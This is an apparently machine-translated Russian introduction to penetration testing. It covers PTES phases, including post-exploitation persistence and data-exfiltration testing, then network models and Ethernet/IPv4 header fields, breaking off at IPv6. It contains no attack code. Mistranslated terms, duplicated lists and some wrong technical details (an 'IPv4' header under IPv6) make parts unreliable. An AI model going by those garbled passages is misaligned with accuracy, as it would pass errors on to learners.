Тестирование проникновения Python — Введение
Ручное тестирование или тестирование на проникновение может быть определено как попытка оценить безопасность ИТ-инфраструктуры путем симуляции кибератак на компьютерную систему для использования уязвимостей.
В чем разница между сканированием на уязвимости и тестированием на проникновение? Сканирование уязвимостей просто выявляет отмеченные уязвимости, а тестирование на проникновение, как было сказано ранее, является попыткой использования уязвимостей. Тестирование на проникновение помогает определить, возможен ли в системе несанкционированный доступ или любая другая злонамеренная деятельность.
Мы можем выполнить тестирование на проникновение для серверов, веб-приложений, беспроводных сетей, мобильных устройств и любых других потенциальных точек воздействия, используя ручные или автоматизированные технологии. Из-за тестирования на проникновение, если мы используем какие-либо виды уязвимостей, то же самое нужно направить ИТ-специалисту и администратору сетевой системы, чтобы прийти к стратегическому заключению.
Значение теста на проникновение (ручка)
В этом разделе мы узнаем о значении тестирования на проникновение. Рассмотрим следующие моменты, чтобы узнать о значении —
Безопасность организации
Значение тестирования на проникновение можно понять с точки зрения того, что оно дает гарантии организации с подробной оценкой безопасности этой организации.
Защита конфиденциальности организации
С помощью тестирования на проникновение мы можем выявлять потенциальные угрозы, прежде чем сталкиваться с каким-либо ущербом, и защищать конфиденциальность этой организации.
Реализация политик безопасности
Тестирование на проникновение может обеспечить нас в отношении реализации политики безопасности в организации.
Управление эффективностью сети
С помощью тестирования на проникновение можно управлять эффективностью сети. Он может тщательно проверять безопасность устройств, таких как брандмауэры, маршрутизаторы и т. Д.
Обеспечить безопасность организации
Предположим, что если мы хотим внести какие-либо изменения в дизайн сети или обновить программное обеспечение, оборудование и т. Д., Тогда тестирование на проникновение гарантирует безопасность организации от любого вида уязвимости.
Кто хороший тестер пера?
Тестеры проникновения — это профессионалы в области программного обеспечения, которые помогают организациям усилить защиту от кибератак, выявляя уязвимости. Тестер проникновения может использовать ручные методы или автоматизированные инструменты для тестирования.
Давайте теперь рассмотрим следующие важные характеристики хорошего тестера на проникновение —
Знание сетей и разработки приложений
Хороший пентестер должен обладать знаниями о разработке приложений, администрировании базы данных и работе в сети, потому что он / она должен иметь дело с настройками конфигурации, а также с кодированием.
Выдающийся мыслитель
Пентестер должен быть выдающимся мыслителем и без колебаний применять различные инструменты и методологии для конкретного задания для получения наилучшего результата.
Знание процедуры
Хороший пентестер должен обладать знаниями для определения объема каждого теста на проникновение, такого как его цели, ограничения и обоснование процедур.
Современная технология
Пентестер должен быть в курсе своих технологических навыков, потому что в любое время могут быть любые изменения в технологии.
Умелое создание отчетов
После успешного внедрения тестирования на проникновение, тестер должен указать все результаты и возможные риски в окончательном отчете. Следовательно, он / она должен иметь хорошие навыки составления отчетов.
Страсть к кибербезопасности
Страстный человек может добиться успеха в жизни. Точно так же, если человек увлечен кибер-ценными бумагами, он может стать хорошим тестером.
Область тестирования на проникновение
Теперь мы узнаем о масштабах тестирования на проникновение. Следующие два вида тестов могут определить область тестирования на проникновение:
Неразрушающий контроль (НК)
Неразрушающий контроль не подвергает систему риску. NDT используется для поиска дефектов до того, как они станут опасными, без ущерба для системы, объекта и т. Д. При проведении тестирования на проникновение NDT выполняет следующие действия:
Сканирование удаленных систем
Этот тест сканирует и идентифицирует удаленную систему на предмет возможных уязвимостей.
верификация
После обнаружения уязвимостей, он также выполняет проверку всего, что найдено.
Правильное использование удаленной системы
В НК тестер пера правильно использовал бы удаленную систему. Это помогает избежать перерывов.
Примечание. С другой стороны, при проведении тестирования на проникновение NDT не выполняет атаку типа «отказ в обслуживании» (DoS) .
Разрушительное испытание
Разрушительное тестирование может подвергнуть систему риску. Это дороже и требует больше навыков, чем неразрушающий контроль. При проведении испытаний на проникновение деструктивное тестирование выполняет следующие действия:
-
Атака отказа в обслуживании (DoS) — разрушительное тестирование выполняет DoS-атаку.
-
Атака переполнения буфера — она также выполняет атаку переполнения буфера, которая может привести к сбою системы.
Атака отказа в обслуживании (DoS) — разрушительное тестирование выполняет DoS-атаку.
Атака переполнения буфера — она также выполняет атаку переполнения буфера, которая может привести к сбою системы.
Что установить для практического тестирования на проникновение?
Методы и инструменты тестирования на проникновение должны выполняться только в тех средах, которые у вас есть или у вас есть разрешение на запуск этих инструментов. Мы никогда не должны применять эти методы в средах, в которых мы не уполномочены делать это, потому что тестирование на проникновение без разрешения является незаконным.
-
Мы можем попрактиковаться в тестировании на проникновение, установив пакет виртуализации — либо VMware Player ( www.vmware.com/products/player ), либо Oracle VirtualBox —
www.oracle.com/technetwork/server-storage/virtualbox/downloads/index.html
-
Мы также можем создавать виртуальные машины (ВМ) из текущей версии —
-
Kali Linux ( www.kali.org/downloads/ )
-
Самурай веб-тестирования Framework ( http://samurai.inguardians.com/ )
-
Metasploitable ( www.offensivesecurity.com/metasploit-unleashed/Requirements )
Мы можем попрактиковаться в тестировании на проникновение, установив пакет виртуализации — либо VMware Player ( www.vmware.com/products/player ), либо Oracle VirtualBox —
www.oracle.com/technetwork/server-storage/virtualbox/downloads/index.html
Мы также можем создавать виртуальные машины (ВМ) из текущей версии —
Kali Linux ( www.kali.org/downloads/ )
Самурай веб-тестирования Framework ( http://samurai.inguardians.com/ )
Metasploitable ( www.offensivesecurity.com/metasploit-unleashed/Requirements )
Методология оценки
В последнее время как государственные, так и частные организации стали рассматривать кибербезопасность в качестве стратегического приоритета. Киберпреступники часто делают государственные и частные организации своими слабыми объектами, используя различные направления атаки. К сожалению, из-за отсутствия эффективных политик, стандартов и сложности информационной системы, киберпреступники имеют большое количество целей, и они становятся успешными в использовании системы и краже информации тоже.
Тестирование на проникновение — это одна из стратегий, которая может быть использована для снижения рисков кибератак. Успех тестирования на проникновение зависит от эффективной и последовательной методологии оценки.
У нас есть различные методики оценки, связанные с тестированием на проникновение. Преимущество использования методологии состоит в том, что она позволяет оценщикам последовательно оценивать окружающую среду. Ниже приведены несколько важных методологий.
-
Руководство по методологии тестирования безопасности с открытым исходным кодом (OSSTMM)
-
Открытый проект безопасности веб-приложений (OWASP)
-
Национальный институт стандартов и технологий (NIST)
-
Стандарт выполнения испытаний на проникновение (PTES)
Руководство по методологии тестирования безопасности с открытым исходным кодом (OSSTMM)
Открытый проект безопасности веб-приложений (OWASP)
Национальный институт стандартов и технологий (NIST)
Стандарт выполнения испытаний на проникновение (PTES)
Что такое PTES?
PTES, стандарт выполнения тестирования на проникновение, как следует из названия, представляет собой методологию оценки для тестирования на проникновение. Он охватывает все, что касается теста на проникновение. У нас есть ряд технических руководств в рамках PTES, связанных с различными средами, с которыми может столкнуться оценщик. Это самое большое преимущество использования PTES новыми оценщиками, потому что в технических руководствах есть предложения по рассмотрению и оценке среды в рамках стандартных отраслевых инструментов.
В следующем разделе мы узнаем о различных этапах PTES.
Семь Фаз ПТЭС
Стандарт выполнения тестирования на проникновение (PTES) состоит из семи этапов. Эти этапы охватывают все, что связано с тестированием на проникновение — от первоначального общения и рассуждений за пентестом до этапов сбора информации и моделирования угроз, когда тестеры работают за кулисами. Это приводит к лучшему пониманию проверенной организации посредством исследования уязвимостей, эксплуатации и последующей эксплуатации. Здесь экспертные знания в области технической безопасности критически сочетаются с бизнес-пониманием задания и, наконец, с отчетностью, которая охватывает весь процесс таким образом, который имеет смысл для клиента и обеспечивает наибольшую ценность для него.
Мы узнаем о семи этапах PTES в наших последующих разделах —
Фаза взаимодействия перед взаимодействием
Это первый и очень важный этап PTES. Основная цель этого этапа состоит в том, чтобы объяснить доступные инструменты и методы, которые помогают успешно выполнить предварительный этап теста на проникновение. Любая ошибка при реализации этого этапа может оказать существенное влияние на остальную часть оценки. Эта фаза включает в себя следующее:
Запрос на оценку
Самая первая часть, с которой начинается этот этап, — это создание запроса на оценку со стороны организации. Оценщику предоставляется документ запроса предложений (RFP), содержащий подробную информацию об окружающей среде, виде требуемой оценки и ожиданиях организации.
торги
Теперь, основываясь на документе RFP , несколько оценочных фирм или отдельных корпораций с ограниченной ответственностью (LLC) предложат цену, и победит сторона, предложение которой соответствует запрашиваемой работе, цене и некоторым другим конкретным параметрам.
Подписание письма-обязательства (EL)
Теперь организация и партия, которая выиграла тендер, подпишут договор о помолвке (EL). В письме будет указано техническое задание (SOW) и конечный продукт.
Обзорная встреча
Как только EL подписан, может начаться тонкая настройка области. Такие встречи помогают организации и партии отрегулировать конкретный объем. Основная цель обзорной встречи — обсудить, что будет проверено.
Обработка ползучести области
Сфера действия — это то, что клиент может попытаться добавить или расширить обещанный уровень работы, чтобы получить больше, чем он, возможно, обещал заплатить. Вот почему изменения в первоначальном объеме должны быть тщательно продуманы из-за времени и ресурсов. Он также должен быть заполнен в некоторой документированной форме, такой как электронная почта, подписанный документ или авторизованное письмо и т. Д.
Анкетирование
Во время первоначального общения с клиентом, есть несколько вопросов, на которые клиент должен будет ответить для правильной оценки объема взаимодействия. Эти вопросы призваны обеспечить лучшее понимание того, что клиент хочет получить от теста на проникновение; почему клиент хочет провести тест на проникновение в своей среде; и хотят ли они, чтобы определенные типы тестов выполнялись во время теста на проникновение.
Способ проведения теста
Последняя часть этапа предварительной помолвки — это определение процедуры проведения теста. На выбор предлагаются различные стратегии тестирования, такие как Белый ящик, Черный ящик, Серый ящик, Двойное слепое тестирование.
Ниже приведены несколько примеров оценок, которые могут быть запрошены:
- Тест на проникновение в сеть
- Тест на проникновение веб-приложений
- Тест на проникновение беспроводной сети
- Тест на физическое проникновение
- Социальная инженерия
- Фишинг
- Протокол передачи голоса по Интернету (VOIP)
- Внутренняя сеть
- Внешняя сеть
Фаза сбора разведданных
Сбор информации, вторая фаза PTES, — это то, где мы проводим предварительную съемку против цели, чтобы собрать как можно больше информации, которую можно использовать при проникновении в цель на этапах оценки уязвимости и эксплуатации. Это помогает организациям в определении внешнего воздействия группой оценки. Мы можем разделить сбор информации на следующие три уровня —
Сбор информации уровня 1
Автоматизированные инструменты могут получить этот уровень информации практически полностью. Усилия по сбору информации уровня 1 должны соответствовать требованиям соответствия.
Уровень 2 Сбор информации
Этот уровень информации может быть получен с помощью автоматизированных инструментов с уровня 1 наряду с некоторым ручным анализом. Этот уровень требует хорошего понимания бизнеса, включая такую информацию, как физическое местоположение, деловые отношения, организационная структура и т. Д. Усилия по сбору информации уровня 2 должны соответствовать требованиям соответствия наряду с другими потребностями, такими как долгосрочная стратегия безопасности, приобретение мелких производителей и т. д.
Сбор информации уровня 3
Этот уровень сбора информации используется в самом продвинутом тесте на проникновение. Вся информация от уровня 1 и уровня 2 наряду с большим количеством ручного анализа требуется для сбора информации уровня 3.
Этап моделирования угроз
Это третья фаза PTES. Подход к моделированию угроз необходим для правильного выполнения тестирования на проникновение. Моделирование угроз может использоваться как часть теста на проникновение, или оно может столкнуться с рядом факторов. Если мы используем моделирование угроз как часть теста на проникновение, то информация, собранная на втором этапе, будет возвращена на первый этап.
Следующие шаги составляют фазу моделирования угроз —
-
Сбор необходимой и актуальной информации.
-
Необходимо идентифицировать и классифицировать первичные и вторичные активы.
-
Необходимо идентифицировать и классифицировать угрозы и угрозы сообществам.
-
Необходимо сопоставить сообщества угроз с первичными и вторичными активами.
Сбор необходимой и актуальной информации.
Необходимо идентифицировать и классифицировать первичные и вторичные активы.
Необходимо идентифицировать и классифицировать угрозы и угрозы сообществам.
Необходимо сопоставить сообщества угроз с первичными и вторичными активами.
Угроза Сообщества и агенты
В следующей таблице перечислены соответствующие сообщества и агенты угроз, а также их расположение в организации.
Место нахождения | внутренний | внешний |
---|---|---|
Агенты / сообщества угроз | Сотрудники | Партнеры по бизнесу |
Лица управления | Подрядчики | |
Администраторы (Сеть, Система) | Конкуренты | |
Инженеры | Поставщики | |
Технический | Национальные государства | |
Общее пользовательское сообщество | Хакеры |
Выполняя оценку моделирования угроз, мы должны помнить, что расположение угроз может быть внутренним. Требуется только один фишинговый адрес электронной почты или один раздраженный сотрудник, который держит безопасность организации под угрозой, передавая учетные данные.
Этап анализа уязвимостей
Это четвертая фаза PTES, в которой оценщик определит возможные цели для дальнейшего тестирования. На первых трех этапах PTES были извлечены только подробности об организации, и оценщик не коснулся каких-либо ресурсов для тестирования. Это самая трудоемкая фаза PTES.
Следующие этапы составляют анализ уязвимости —
Тестирование уязвимостей
Это может быть определено как процесс обнаружения недостатков, таких как неправильная конфигурация и небезопасные разработки приложений в системах и приложениях хоста и служб. Перед проведением анализа уязвимости тестировщик должен правильно определить область тестирования и желаемый результат. Тестирование уязвимостей может быть следующих типов:
- Активное тестирование
- Пассивное тестирование
Мы обсудим эти два типа подробно в наших последующих разделах.
Активное тестирование
Он включает в себя прямое взаимодействие с компонентом, который тестируется на наличие уязвимостей. Компоненты могут быть на низком уровне, например стек TCP на сетевом устройстве, или на высоком уровне, например, веб-интерфейс. Активное тестирование может быть выполнено следующими двумя способами:
Автоматизированное активное тестирование
Он использует программное обеспечение для взаимодействия с целью, изучения ответов и определения на основе этих ответов наличия или отсутствия уязвимости в компоненте. Важность автоматического активного тестирования по сравнению с активным ручным тестированием может быть понята из того факта, что если в системе тысячи портов TCP и нам необходимо подключить все из них вручную для тестирования, это потребует значительного количества времени. Тем не менее, выполнение этого с помощью автоматизированных инструментов может сократить много времени и трудозатрат. Сканирование уязвимостей сети, сканирование портов, захват баннеров, сканирование веб-приложений можно выполнять с помощью автоматизированных инструментов активного тестирования.
Ручное активное тестирование
Эффективное ручное тестирование более эффективно по сравнению с автоматическим активным тестированием. Погрешность всегда существует с автоматизированным процессом или технологией. Вот почему всегда рекомендуется выполнять прямые прямые подключения к каждому протоколу или услуге, доступной в целевой системе, для проверки результатов автоматического тестирования.
Пассивное тестирование
Пассивное тестирование не предполагает непосредственного взаимодействия с компонентом. Это может быть реализовано с помощью следующих двух методов —
Анализ метаданных
Этот метод включает просмотр данных, описывающих файл, а не данных самого файла. Например, файл MS word содержит метаданные в виде имени автора, названия компании, даты и времени последнего изменения и сохранения документа. Если злоумышленник может получить пассивный доступ к метаданным, возникнет проблема безопасности.
Мониторинг трафика
Это может быть определено как метод подключения к внутренней сети и сбора данных для автономного анализа. Он в основном используется для захвата «утечки данных» в коммутируемую сеть.
Проверка
После тестирования на уязвимость проверка результатов очень необходима. Это можно сделать с помощью следующих методов —
Корреляция между инструментами
Если оценщик проводит тестирование уязвимости с помощью нескольких автоматизированных инструментов, то для проверки результатов очень важно иметь корреляцию между этими инструментами. Выводы могут стать сложными, если нет такой корреляции между инструментами. Он может быть разбит на конкретные соотношения предметов и категориальные соотношения предметов.
Проверка протокола
Проверка может быть выполнена с помощью протоколов также. VPN, Citrix, DNS, Web, почтовый сервер могут быть использованы для проверки результатов.
Исследование
После обнаружения и проверки уязвимости в системе важно определить точность определения проблемы и исследовать потенциальную возможность использования уязвимости в рамках теста на проникновение. Исследование может быть сделано публично или в частном порядке. При проведении общедоступных исследований можно использовать базу данных об уязвимостях и рекомендации поставщиков для проверки точности сообщаемой проблемы. С другой стороны, при проведении частных исследований можно установить среду реплики и применить методы, такие как фаззинг или тестирование конфигураций, для проверки точности сообщаемой проблемы.
Фаза эксплуатации
Это пятая фаза PTES. Этот этап направлен на получение доступа к системе или ресурсу путем обхода ограничений безопасности. На этом этапе вся работа, выполненная на предыдущих этапах, приводит к получению доступа к системе. Для получения доступа к системе используются следующие общие термины:
- Выскочил
- Shelled
- треснувший
- эксплуатируемый
Регистрация в системе на этапе эксплуатации может осуществляться с помощью кода, удаленного использования, создания эксплойта, обхода антивируса или может быть такой же простой, как регистрация через слабые учетные данные. После получения доступа, т. Е. После определения основной точки входа, оценщик должен сосредоточиться на выявлении целевых активов высокой стоимости. Если фаза анализа уязвимости была завершена должным образом, должен быть выполнен целевой список высокой ценности. В конечном счете, вектор атаки должен учитывать вероятность успеха и наибольшее влияние на организацию.
Фаза после эксплуатации
Это шестая фаза PTES. На этом этапе оценщик предпринимает следующие действия:
Анализ инфраструктуры
На этом этапе проводится анализ всей инфраструктуры, используемой во время тестирования на проникновение. Например, анализ сети или конфигурации сети может быть выполнен с помощью интерфейсов, маршрутизации, DNS-серверов, кэшированных записей DNS, прокси-серверов и т. Д.
мародерство
Это может быть определено как получение информации от целевых хостов. Эта информация относится к целям, определенным на этапе предварительной оценки. Эта информация может быть получена из установленных программ, определенных серверов, таких как серверы баз данных, принтер и т. Д. В системе.
Эксфильтрация данных
В соответствии с этим действием оценщик должен выполнить картирование и тестирование всех возможных путей эксфильтрации, чтобы можно было осуществлять измерение силы контроля, то есть обнаружение и блокирование конфиденциальной информации от организации.
Создание постоянства
Это действие включает в себя установку бэкдора, который требует аутентификации, перезагрузку бэкдоров при необходимости и создание альтернативных учетных записей со сложными паролями.
уборка
Как следует из названия, этот процесс охватывает требования по очистке системы после завершения теста на проникновение. Это действие включает в себя возврат к исходным значениям системных настроек, параметров конфигурации приложения, а также удаление всех установленных бэкдоров и всех созданных учетных записей пользователей.
Составление отчетов
Это последний и самый важный этап PTES. Здесь клиент платит на основании итогового отчета после завершения теста на проникновение. Отчет в основном является отражением выводов, сделанных оценщиком о системе. Ниже приведены основные части хорошего отчета.
Управляющее резюме
Это отчет, в котором читателю сообщается о конкретных целях теста на проникновение и результатах высокого уровня теста. Предполагаемая аудитория может быть членом консультативного совета Chief Suite.
Сюжетная
Отчет должен содержать основную сюжетную линию, которая объяснит, что было сделано во время сражения, фактические выводы или недостатки безопасности и положительный контроль, который установила организация.
Подтверждение концепции / технический отчет
Подтверждение концепции или технического отчета должно включать технические детали теста и все аспекты / компоненты, согласованные в качестве ключевых показателей успеха в ходе подготовки к участию в проекте. В разделе технического отчета будут подробно описаны объем, информация, путь атаки, рекомендации по устранению воздействия и исправлению.
Учебник по сетевой коммуникации
Мы всегда слышали, что для тестирования на проникновение пентестер должен знать об основных сетевых концепциях, таких как IP-адреса, классовая подсеть, бесклассовая подсеть, порты и широковещательные сети. Самая первая причина заключается в том, что такие действия, как то, какие хосты находятся в утвержденной области действия, и какие сервисы, порты и функции, которые они открывают и реагируют, будут определять, какие действия оценщик будет выполнять при тестировании на проникновение. Среда постоянно меняется, и системы часто перераспределяются. Следовательно, вполне возможно, что старые уязвимости могут появиться снова и без хорошего знания сканирования сети, может случиться так, что первоначальное сканирование должно быть переделано. В наших последующих разделах мы обсудим основы сетевого общения.
Эталонная модель
Эталонная модель предлагает средства стандартизации, которые приемлемы во всем мире, поскольку люди, использующие компьютерную сеть, расположены в широком физическом диапазоне, а их сетевые устройства могут иметь разнородную архитектуру. Чтобы обеспечить связь между разнородными устройствами, нам нужна стандартизированная модель, то есть эталонная модель, которая предоставит нам способ, которым эти устройства могут связываться.
У нас есть две эталонные модели, такие как модель OSI и эталонная модель TCP / IP. Тем не менее, модель OSI является гипотетической, а TCP / IP — практической моделью.
Модель OSI
Открытый системный интерфейс был разработан Международной организацией по стандартизации (ISO), и поэтому его также называют моделью ISO-OSI.
Модель OSI состоит из семи уровней, как показано на следующей диаграмме. Каждый уровень имеет определенную функцию, однако каждый уровень предоставляет услуги для уровня выше.
Физический слой
Физический уровень отвечает за следующие действия:
-
Активация, поддержка и деактивация физического соединения.
-
Определение напряжения и скорости передачи данных, необходимых для передачи.
-
Преобразование цифровых битов в электрический сигнал.
-
Решение, является ли соединение симплексным, полудуплексным или дуплексным.
Активация, поддержка и деактивация физического соединения.
Определение напряжения и скорости передачи данных, необходимых для передачи.
Преобразование цифровых битов в электрический сигнал.
Решение, является ли соединение симплексным, полудуплексным или дуплексным.
Канальный уровень
Канальный уровень выполняет следующие функции:
-
Выполняет синхронизацию и контроль ошибок для информации, которая должна передаваться по физическому каналу.
-
Включает обнаружение ошибок и добавляет биты обнаружения ошибок к данным, которые должны быть переданы.
Выполняет синхронизацию и контроль ошибок для информации, которая должна передаваться по физическому каналу.
Включает обнаружение ошибок и добавляет биты обнаружения ошибок к данным, которые должны быть переданы.
Сетевой уровень
Сетевой уровень выполняет следующие функции —
-
Для направления сигналов через различные каналы на другой конец.
-
Чтобы действовать в качестве сетевого контроллера, решая, какие данные о маршруте следует принять.
-
Разделить исходящие сообщения на пакеты и собрать входящие пакеты в сообщения для более высоких уровней.
Для направления сигналов через различные каналы на другой конец.
Чтобы действовать в качестве сетевого контроллера, решая, какие данные о маршруте следует принять.
Разделить исходящие сообщения на пакеты и собрать входящие пакеты в сообщения для более высоких уровней.
Транспортный уровень
Транспортный уровень выполняет следующие функции —
-
Он решает, должна ли передача данных осуществляться по параллельным или одиночным путям.
-
Он выполняет мультиплексирование, разбивая данные.
-
Он разбивает группы данных на более мелкие блоки, чтобы они более эффективно обрабатывались сетевым уровнем.
Он решает, должна ли передача данных осуществляться по параллельным или одиночным путям.
Он выполняет мультиплексирование, разбивая данные.
Он разбивает группы данных на более мелкие блоки, чтобы они более эффективно обрабатывались сетевым уровнем.
Транспортный уровень гарантирует передачу данных с одного конца на другой конец.
Сеансовый слой
Сеансовый уровень выполняет следующие функции:
-
Управляет сообщениями и синхронизирует разговоры между двумя различными приложениями.
-
Он контролирует вход и выход, идентификацию пользователя, выставление счетов и управление сеансами.
Управляет сообщениями и синхронизирует разговоры между двумя различными приложениями.
Он контролирует вход и выход, идентификацию пользователя, выставление счетов и управление сеансами.
Уровень представления
Уровень Presentation выполняет следующие функции —
-
Этот уровень гарантирует, что информация доставляется в такой форме, что принимающая система будет понимать и использовать ее.
Этот уровень гарантирует, что информация доставляется в такой форме, что принимающая система будет понимать и использовать ее.
Уровень приложений
Прикладной уровень выполняет следующие функции —
-
Он предоставляет различные услуги, такие как манипулирование информацией несколькими способами, повторная передача файлов информации, распространение результатов и т. Д.
-
Такие функции, как вход в систему или проверка пароля, также выполняются прикладным уровнем.
Он предоставляет различные услуги, такие как манипулирование информацией несколькими способами, повторная передача файлов информации, распространение результатов и т. Д.
Такие функции, как вход в систему или проверка пароля, также выполняются прикладным уровнем.
Модель TCP / IP
Модель протокола управления передачей и Интернет-протокола (TCP / IP) является практической моделью и используется в Интернете.
Модель TCP / IP объединяет два уровня (физический уровень и канальный уровень) в один уровень — уровень хост-сеть. Следующая диаграмма показывает различные уровни модели TCP / IP —
Уровень приложений
Этот уровень аналогичен уровню модели OSI и выполняет следующие функции:
-
Он предоставляет различные услуги, такие как манипулирование информацией несколькими способами, повторная передача файлов информации, распространение результатов и т. Д.
-
Прикладной уровень также выполняет такие функции, как вход в систему или проверка пароля.
-
Ниже приведены различные протоколы, используемые на уровне приложений:
- TELNET
- FTP
- SMTP
- DN
- HTTP
- NNTP
Он предоставляет различные услуги, такие как манипулирование информацией несколькими способами, повторная передача файлов информации, распространение результатов и т. Д.
Прикладной уровень также выполняет такие функции, как вход в систему или проверка пароля.
Ниже приведены различные протоколы, используемые на уровне приложений:
Транспортный уровень
Он выполняет те же функции, что и транспортный уровень в модели OSI. Рассмотрим следующие важные моменты, связанные с транспортным уровнем:
-
Он использует протоколы TCP и UDP для сквозной передачи.
-
TCP является надежным и ориентированным на соединение протоколом.
-
TCP также обрабатывает управление потоком.
-
UDP не является надежным, и протокол без установления соединения не выполняет управление потоком.
-
Протоколы TCP / IP и UDP используются на этом уровне.
Он использует протоколы TCP и UDP для сквозной передачи.
TCP является надежным и ориентированным на соединение протоколом.
TCP также обрабатывает управление потоком.
UDP не является надежным, и протокол без установления соединения не выполняет управление потоком.
Протоколы TCP / IP и UDP используются на этом уровне.
Интернет-слой
Функция этого уровня состоит в том, чтобы позволить хосту вставлять пакеты в сеть, а затем заставлять их перемещаться независимо к месту назначения. Однако порядок получения пакета может отличаться от последовательности, в которой они были отправлены.
Интернет-протокол (IP) используется на интернет-уровне.
Уровень хост-сеть
Это самый низкий уровень в модели TCP / IP. Хост должен подключиться к сети по некоторому протоколу, чтобы он мог отправлять по нему IP-пакеты. Этот протокол варьируется от хоста к хосту и от сети к сети.
Различные протоколы, используемые на этом уровне:
- ARPANET
- SATNET
- ЛВС
- Пакетное радио
Полезная Архитектура
Ниже приведены некоторые полезные архитектуры, которые используются в сетевой коммуникации.
Архитектура фрейма Ethernet
Инженер по имени Роберт Меткалф впервые изобрел сеть Ethernet, определенную в соответствии со стандартом IEEE 802.3, в 1973 году. Сначала она использовалась для соединения и передачи данных между рабочей станцией и принтером. Более 80% локальных сетей используют стандарт Ethernet из-за его скорости, низкой стоимости и простоты установки. С другой стороны, если мы говорим о кадре, то данные перемещаются от хоста к хосту в пути. Кадр состоит из различных компонентов, таких как MAC-адрес, IP-заголовок, начальный и конечный разделители и т. Д.
Кадр Ethernet начинается с Преамбулы и SFD. Заголовок Ethernet содержит MAC-адрес источника и получателя, после которого присутствует полезная нагрузка кадра. Последнее поле — CRC, которое используется для обнаружения ошибки. Базовая структура кадра Ethernet определена в стандарте IEEE 802.3, который поясняется ниже:
Формат кадра Ethernet (IEEE 802.3)
Пакет Ethernet транспортирует кадр Ethernet в качестве полезной нагрузки. Ниже приведено графическое представление кадра Ethernet вместе с описанием каждого поля:
Имя поля | преамбула | SFD (начало разделителя кадров) | MAC-адрес назначения | Исходный MAC | Тип | Данные | CRC |
---|---|---|---|---|---|---|---|
Размер (в байтах) | 7 | 1 | 6 | 6 | 2 | 46-1500 | 4 |
преамбула
Кадру Ethernet предшествует преамбула размером 7 байтов, которая информирует принимающую систему о начале кадра и позволяет отправителю и получателю установить синхронизацию битов.
SFD (начало разделителя кадров)
Это однобайтовое поле, используемое для обозначения того, что поле MAC-адреса получателя начинается со следующего байта. Иногда поле SFD считается частью преамбулы. Поэтому во многих местах преамбула считается 8 байтами.
-
MAC -адрес получателя — это 6-байтовое поле, в котором у нас есть адрес принимающей системы.
-
Source MAC — это 6-байтовое поле, в котором у нас есть адрес отправляющей системы.
-
Тип — определяет тип протокола внутри фрейма. Например, IPv4 или IPv6. Его размер составляет 2 байта.
-
Данные — это также называется полезной нагрузкой, и здесь вставляются фактические данные. Его длина должна быть между 46-1500 байтами. Если длина меньше 46 байтов, то добавляется 0 для соответствия минимально возможной длине, то есть 46.
-
CRC (Cyclic Redundancy Check) — это 4-байтовое поле, содержащее 32-битный CRC, который позволяет обнаруживать поврежденные данные.
MAC -адрес получателя — это 6-байтовое поле, в котором у нас есть адрес принимающей системы.
Source MAC — это 6-байтовое поле, в котором у нас есть адрес отправляющей системы.
Тип — определяет тип протокола внутри фрейма. Например, IPv4 или IPv6. Его размер составляет 2 байта.
Данные — это также называется полезной нагрузкой, и здесь вставляются фактические данные. Его длина должна быть между 46-1500 байтами. Если длина меньше 46 байтов, то добавляется 0 для соответствия минимально возможной длине, то есть 46.
CRC (Cyclic Redundancy Check) — это 4-байтовое поле, содержащее 32-битный CRC, который позволяет обнаруживать поврежденные данные.
Формат расширенного кадра Ethernet (кадр Ethernet II)
Ниже приведено графическое представление расширенного кадра Ethernet, с помощью которого мы можем получить полезную нагрузку размером более 1500 байт.
Имя поля | MAC-адрес назначения | Исходный MAC | Тип | DSAP | SSAP | Ctrl | Данные | CRC |
---|---|---|---|---|---|---|---|---|
Размер (в байтах) | 6 | 6 | 2 | 1 | 1 | 1 | > 46 | 4 |
Описание полей, которые отличаются от кадра Ethernet IEEE 802.3, выглядит следующим образом:
DSAP (пункт доступа к службе назначения)
DSAP — это поле длиной 1 байт, которое представляет логические адреса объекта сетевого уровня, предназначенного для приема сообщения.
SSAP (исходная точка доступа к сервису)
SSAP — это поле длиной 1 байт, которое представляет логический адрес объекта сетевого уровня, который создал сообщение.
Ctrl
Это 1-байтовое поле управления.
Архитектура IP-пакетов
Интернет-протокол является одним из основных протоколов в наборе протоколов TCP / IP. Этот протокол работает на сетевом уровне модели OSI и на интернет-уровне модели TCP / IP. Таким образом, этот протокол отвечает за идентификацию хостов на основе их логических адресов и маршрутизацию данных между ними по базовой сети. IP предоставляет механизм уникальной идентификации хостов по схеме IP-адресации. IP использует наилучшую доставку, т. Е. Не гарантирует доставку пакетов на конечный хост, но будет делать все возможное, чтобы достичь пункта назначения.
В наших последующих разделах мы узнаем о двух разных версиях IP.
IPv4
Это интернет-протокол версии 4, в котором используется 32-разрядный логический адрес. Ниже приведена схема заголовка IPv4 вместе с описанием полей:
Версия
Это версия используемого интернет-протокола; например, IPv4.
МГП
Длина интернет-заголовка; длина всего заголовка IP.
DSCP
Код дифференцированной услуги; это тип услуги.
ECN
Явное уведомление о перегрузке; он несет информацию о заторах, видимых на маршруте.
Общая длина
Длина всего пакета IP (включая заголовок IP и полезную нагрузку IP).
Удостоверение личности
Если IP-пакет фрагментируется во время передачи, все фрагменты содержат одинаковый идентификационный номер.
Флаги
В соответствии с требованиями сетевых ресурсов, если IP-пакет слишком велик для обработки, эти «флаги» сообщают, могут ли они быть фрагментированы или нет. В этом 3-битном флаге MSB всегда установлен в «0».
Смещение фрагмента
Это смещение указывает точное положение фрагмента в исходном IP-пакете.
Время жить
Чтобы избежать зацикливания в сети, каждый пакет отправляется с некоторым набором значений TTL, который сообщает сети, сколько маршрутизаторов (прыжков) может пересечь этот пакет. На каждом прыжке его значение уменьшается на единицу, а когда значение достигает нуля, пакет отбрасывается.
протокол
Сообщает сетевому уровню на хосте назначения, к какому протоколу принадлежит этот пакет, то есть протоколу следующего уровня. Например, номер протокола ICMP — 1, TCP — 6, а UDP — 17.
Контрольная сумма заголовка
Это поле используется для хранения значения контрольной суммы всего заголовка, который затем используется для проверки того, что пакет принят без ошибок.
Адрес источника
32-битный адрес отправителя (или источника) пакета.
Адрес назначения
32-битный адрес получателя (или пункта назначения) пакета.
Опции
Это необязательное поле, которое используется, если значение IHL больше 5. Эти параметры могут содержать значения для таких параметров, как Безопасность, Маршрут записи, Метка времени и т. Д.
Если вы хотите подробно изучить IPv4, перейдите по этой ссылке — www.tutorialspoint.com/ipv4/index.htm
IPv6
Интернет-протокол версии 6 является самым последним протоколом связи, который, как и его предшественник IPv4, работает на сетевом уровне (уровень-3). Наряду с огромным объемом логического адресного пространства, этот протокол обладает широкими возможностями, которые устраняют недостатки IPv4. Ниже приведена схема заголовка IPv4 вместе с описанием полей:
Версия (4 бита)
